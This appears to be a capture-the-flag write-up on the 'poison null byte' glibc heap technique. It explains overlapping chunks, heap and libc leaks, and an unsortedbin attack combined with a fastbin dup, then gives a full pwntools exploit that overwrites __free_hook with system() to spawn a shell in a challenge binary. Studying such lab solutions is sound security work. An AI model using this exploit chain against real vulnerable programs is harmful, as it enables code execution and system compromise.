---
# System prepended metadata

title: 'Challenge: Poison null bytes'
tags: [Heap]

---

---
title: 'Challenge: Poison null bytes'
disqus: hackmd
---

# Overall

- It seems similar to [Poison null bytes](/JbokY-vdTpmzHnW5-VFWyQ) (The House of Einherjar). However, in this technique, I **overwrite the least significant byte of the free chunk** instead of allocated chunk.

# Approach
:::info
- Thus, ***the size field of the free chunk decrease***(0x210 -> 0x200 -> decrease 0x10 bytes). It leads to the ***prev_size and prev_inuse flags of succeeding chunk not be updated correctly***(0x10 bytes before the right location).   
- When I free the chunk after vitic chunk, and find the way to trigger consolidate, I can overlap(free) the allocated chunk -> trigger somethings to leak libc + heap
- The challenge binary ***won't let us make arbitrarily large requests***, overwriting the malloc hook with the address of a one-gadget seemed like a sensible approach. However, ***satisfying any of the one-gadget constraints in this scenario proves difficult***. 
- At this point, you may have ***considered file stream exploitation instead*** and props to you if you tried. Unfortunately, the version of GLIBC we're working with, 2.25, implements ***a mitigation against file stream exploitation***. 
    - ***It can be bypassed somewhat trivially by writing any nonzero value into the dlopen hook, perhaps via an unsortedbin attack.***

One to disable libio vtable protection and one to trigger a House of Orange attack is one unsortedbin attack too many. So the fastbin dup failed us, as did the unsortedbin attack, but what if I ***combined them***?
- The fastbin dup technique relies upon the presence of a fake chunk size field. In the case of the fake chunk overlapping the malloc hook, this is supplied by a pointer to a library address which consistently starts with the value 0x7f and is followed by a null padding quadword. I've so far been ***unable to target things like the free hook with a fastbin dup because there aren't any pre-existing fake chunk size fields close enough to it.***
- However an unsortedbin attack could be used to provide one. Remember that the ***unsortedbin attack writes the address of an arena's unsortedbin to a location of our choosing***. Since arenas, both main and otherwise, will typically be ***mapped at 0x00007f addresses***, if we point an unsortedbin attack at the memory before the free hook, it will write a viable fake size field there.
:::

# Further use
:::success
- It doesn't require heap + libc leak.
- It can trigger some mitigations. 
:::
# Script

shell.py
:::spoiler
```python=
#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'
context.binary = elf = ELF('./poison_null_byte', checksec=False)

#libc = ELF('', checksec=False)
libc = elf.libc 

gs = """
b *main
b *main+244
b *main+366
b *main+663
b *main+767
b *main+848
b *main+936
b *main+1045
"""


def info(mess):
    return log.info(mess)

def success(mess):
    return log.success(mess)

def error(mess):
    log.error(mess)


def start():
    if args.GDB:
        return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs)
    elif args.REMOTE:
        return remote('', )
    else:
        return process(elf.path, env={"LD_LIBRARY_PATH": libc.path})

index = 0

def malloc(size):
    global index
    io.send(b'1')
    io.sendafter(b'size: ', str(size).encode())
    io.recvuntil(b"> ")
    index += 1
    return index - 1
    
def edit(index, data):
    io.send(b'2')
    io.sendafter(b'index: ', str(index).encode())
    io.sendafter(b'data: ', data)  
    io.recvuntil(b"> ")

def free(index):
    io.send(b'3')
    io.sendafter(b'index: ', str(index).encode())  
    io.recvuntil(b"> ")

def read(index, size):
    io.send(b'4')
    io.sendafter(b'index: ', str(index).encode())  
    res = io.recv(size)
    io.recvuntil(b"> ")   
    return res


io = start()
io.timeout = 0.1

io.recvuntil(b"> ")  
# =============================================================================

# =-=-=- CREATE OVERLAPPING CHUNKS -=-=-=

# Request 4 chunks.
overflow = malloc(0x88) # Overflow from this chunk into the succeeding chunk's size field.
victim = malloc(0x208) # Victim chunk.
consolidate = malloc(0x88) # Free this chunk to consolidate over the "victim" chunk.
guard = malloc(0x18) # Guard against consolidation with the top chunk.

# Set up a fake prev_size field for the "victim" chunk to satisfy the size vs. prev_size check in GLIBC versions >= 2.26.
edit(victim, p8(0) * 0x1f0 + p16(0x200))

# Free the "victim" chunk into the unsortedbin.
free(victim)

# Leverage a single null-byte overflow into the "victim" chunk's size field to scrub 0x10 bytes from its size.
edit(overflow, p8(0) * 0x88)

# Request 2 chunks in the space previously occupied by the "victim" chunk: "victim_A" & "victim_B".
# The succeeding chunk's prev_size field is not updated because the "victim" chunk appears 0x10 bytes smaller.
victim_A = malloc(0xf8)
victim_B = malloc(0xf8)

# Free "victim_A" into the unsortedbin.
free(victim_A)

# Free the "consolidate" chunk succeeding "victim_B", consolidating it backward over "victim_A" & "victim_B".
free(consolidate)


# =-=-=- LEAK THE HEAP & UNSORTEDBIN ADDRESS -=-=-=

# Request "victim_A" again; the remaindering process writes unsortedbin metadata into "victim_B", which is still allocated.
victim_A1 = malloc(0xf8)

# Free the "overflow" chunk to link it into the unsortedbin, writing a heap address into the metadata overlapping "victim_B".
# Unnecessary for this route but could be useful in other scenarios.
free(overflow)

# Leak the heap and libc via "victim_B".
data = read(victim_B, 16)
libc.address = unpack(data[:8]) - (libc.sym['main_arena'] + 0x58)
heap = unpack(data[8:])
success("libc base @ " + hex(libc.address))
success("heap @ " + hex(heap))

# =-=-=- PREPARE A FASTBIN DUP & UNSORTEDBIN ATTACK -=-=-=

# Request the "overflow" chunk from the unsortedbin, otherwise it will interfere with our request pattern.
overflow1 = malloc(0x88)

# Request a 0x70-sized chunk from what remains of the "victim" chunk.
fast = malloc(0x68)

# Free this chunk into the 0x70 fastbin; its fd overlaps the "victim_B" chunk, which is still allocated.
free(fast)

# Modify the "fast" chunk's fd to point near to the free hook.
# Craft a fake 0x20-sized chunk over the chunk that's linked into the unsortedbin, ready for an unsortedbin attack.
edit(victim_B, pack(libc.sym['__free_hook'] - 0x16) + p8(0)*0x60 + p64(0x21) + p64(0) + pack(libc.sym['__free_hook'] - 0x23))

# =-=-=- UNSORTEDBIN ATTACK NEAR THE FREE HOOK -=-=-=

# Request the 0x20 chunk from the unsortedbin, triggering the unsortedbin attack and writing a 0x7f size field near to the free hook.
unsortedbin_attack = malloc(0x18)

# =-=-=- OVERWRITE THE FREE HOOK -=-=-=

# Use the result of the unsortedbin attack to fastbin dup over the free hook.
fast_dup = malloc(0x68)
overwrite = malloc(0x68)

# Overwrite the free hook with the address of system().
edit(overwrite, p8(0)*6 + pack(libc.sym['system']))
# Create and free a "/bin/sh" chunk.
edit(guard, b'/bin/sh\x00')
io.send(b"3")
io.sendafter(b"index: ", f"{guard}".encode())

io.interactive()
```
:::